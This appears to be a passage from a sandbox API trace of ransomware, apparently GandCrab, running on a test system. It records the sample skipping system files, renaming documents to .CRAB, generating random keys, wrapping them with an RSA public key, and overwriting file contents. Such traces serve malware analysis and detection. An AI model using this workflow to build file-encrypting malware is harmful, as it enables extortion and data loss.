	[0128.222] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt") returned 83
	[0128.222] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="desktop.ini") returned 1
	[0128.222] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="autorun.inf") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="ntuser.dat") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="iconcache.db") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="bootsect.bak") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="boot.ini") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="ntuser.dat.log") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="thumbs.db") returned 1
	[0128.223] lstrcmpiW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.223] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.223] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB") returned 88
	[0128.223] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\xpju8avsxesbhccuf6xh.ppt")) returned 0x20
	[0128.223] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt", dwFileAttributes=0x20) returned 1
	[0128.224] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\xpju8avsxesbhccuf6xh.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\xpju8avsxesbhccuf6xh.ppt.crab")) returned 1
	[0128.224] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.225] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB"
	[0128.225] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB.CRAB"
	[0128.225] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e738) returned 1
	[0128.228] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.228] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.228] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0128.228] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0128.228] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.228] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0128.231] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.232] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.232] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0128.232] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.232] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.232] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.232] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.232] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e9e0) returned 1
	[0128.235] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318f778) returned 1
	[0128.236] CryptGetKeyParam (in: hKey=0x318f778, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0128.236] CryptEncrypt (in: hKey=0x318f778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0128.236] GetLastError () returned 0x0
	[0128.236] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.236] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0128.239] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318faf8) returned 1
	[0128.239] CryptGetKeyParam (in: hKey=0x318faf8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0128.239] CryptEncrypt (in: hKey=0x318faf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0128.239] GetLastError () returned 0x0
	[0128.239] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.239] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\xpju8avsxesbhccuf6xh.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0128.240] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.240] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0xe36a, lpOverlapped=0x0) returned 1
	[0128.254] VirtualAlloc (lpAddress=0x0, dwSize=0xe370, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.255] VirtualAlloc (lpAddress=0x0, dwSize=0xe370, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.256] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.257] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff1c96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.257] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xe370, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0xe370, lpOverlapped=0x0) returned 1
	[0128.257] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.258] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.261] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0128.261] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0128.262] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0128.262] CloseHandle (hObject=0x3f4) returned 1
	[0128.262] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.262] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.266] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.266] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.313] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.313] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.314] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0128.314] FindClose (in: hFindFile=0x318f178 | out: hFindFile=0x318f178) returned 1
	[0128.314] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.314] lstrcmpW (lpString1="kB15-ugapF9.ppt", lpString2=".") returned 1
	[0128.314] lstrcmpW (lpString1="kB15-ugapF9.ppt", lpString2="..") returned 1
	[0128.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="kB15-ugapF9.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt"
	[0128.314] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.314] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt") returned 69
	[0128.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt") returned 69
	[0128.314] lstrlenW (lpString=".ppt") returned 4
	[0128.314] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.314] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0128.315] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.315] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt") returned 69
	[0128.315] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt") returned 69
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="desktop.ini") returned 1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="autorun.inf") returned 1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="ntuser.dat") returned -1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="iconcache.db") returned 1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="bootsect.bak") returned 1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="boot.ini") returned 1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="ntuser.dat.log") returned -1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="thumbs.db") returned -1
	[0128.315] lstrcmpiW (lpString1="kB15-ugapF9.ppt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.315] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.315] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB") returned 74
	[0128.315] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\kb15-ugapf9.ppt")) returned 0x20
	[0128.315] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt", dwFileAttributes=0x20) returned 1
	[0128.316] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\kb15-ugapf9.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\kb15-ugapf9.ppt.crab")) returned 1
	[0128.317] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.317] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB"
	[0128.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB.CRAB"
	[0128.317] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e5a0) returned 1
	[0128.320] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.320] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.320] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.320] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0128.320] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.320] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.321] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0128.323] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.324] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.324] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0128.324] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.324] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.324] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.324] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.324] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6ed98) returned 1
	[0128.327] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f178) returned 1
	[0128.327] CryptGetKeyParam (in: hKey=0x318f178, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.327] CryptEncrypt (in: hKey=0x318f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0128.327] GetLastError () returned 0x0
	[0128.328] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.328] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0128.331] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318fb78) returned 1
	[0128.331] CryptGetKeyParam (in: hKey=0x318fb78, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.331] CryptEncrypt (in: hKey=0x318fb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0128.331] GetLastError () returned 0x0
	[0128.331] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.331] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\kB15-ugapF9.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\kb15-ugapf9.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0128.332] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.332] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.332] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xc071, lpOverlapped=0x0) returned 1
	[0128.340] VirtualAlloc (lpAddress=0x0, dwSize=0xc080, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.341] VirtualAlloc (lpAddress=0x0, dwSize=0xc080, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.342] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.343] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff3f8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.343] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc080, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xc080, lpOverlapped=0x0) returned 1
	[0128.343] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.344] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.348] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0128.348] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0128.348] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0128.348] CloseHandle (hObject=0x3f0) returned 1
	[0128.348] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.348] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.348] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.349] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.349] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.349] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.349] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.349] lstrcmpW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2=".") returned 1
	[0128.349] lstrcmpW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="..") returned 1
	[0128.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="o41qdsUZfnIWVRmDgFd.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf"
	[0128.349] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.350] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf") returned 77
	[0128.350] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf") returned 77
	[0128.350] lstrlenW (lpString=".rtf") returned 4
	[0128.350] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.350] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0128.350] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.350] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf") returned 77
	[0128.350] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf") returned 77
	[0128.350] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="desktop.ini") returned 1
	[0128.350] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="autorun.inf") returned 1
	[0128.350] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="ntuser.dat") returned 1
	[0128.350] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="iconcache.db") returned 1
	[0128.350] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="bootsect.bak") returned 1
	[0128.350] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="boot.ini") returned 1
	[0128.351] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="ntuser.dat.log") returned 1
	[0128.351] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="thumbs.db") returned -1
	[0128.351] lstrcmpiW (lpString1="o41qdsUZfnIWVRmDgFd.rtf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.351] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.351] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB") returned 82
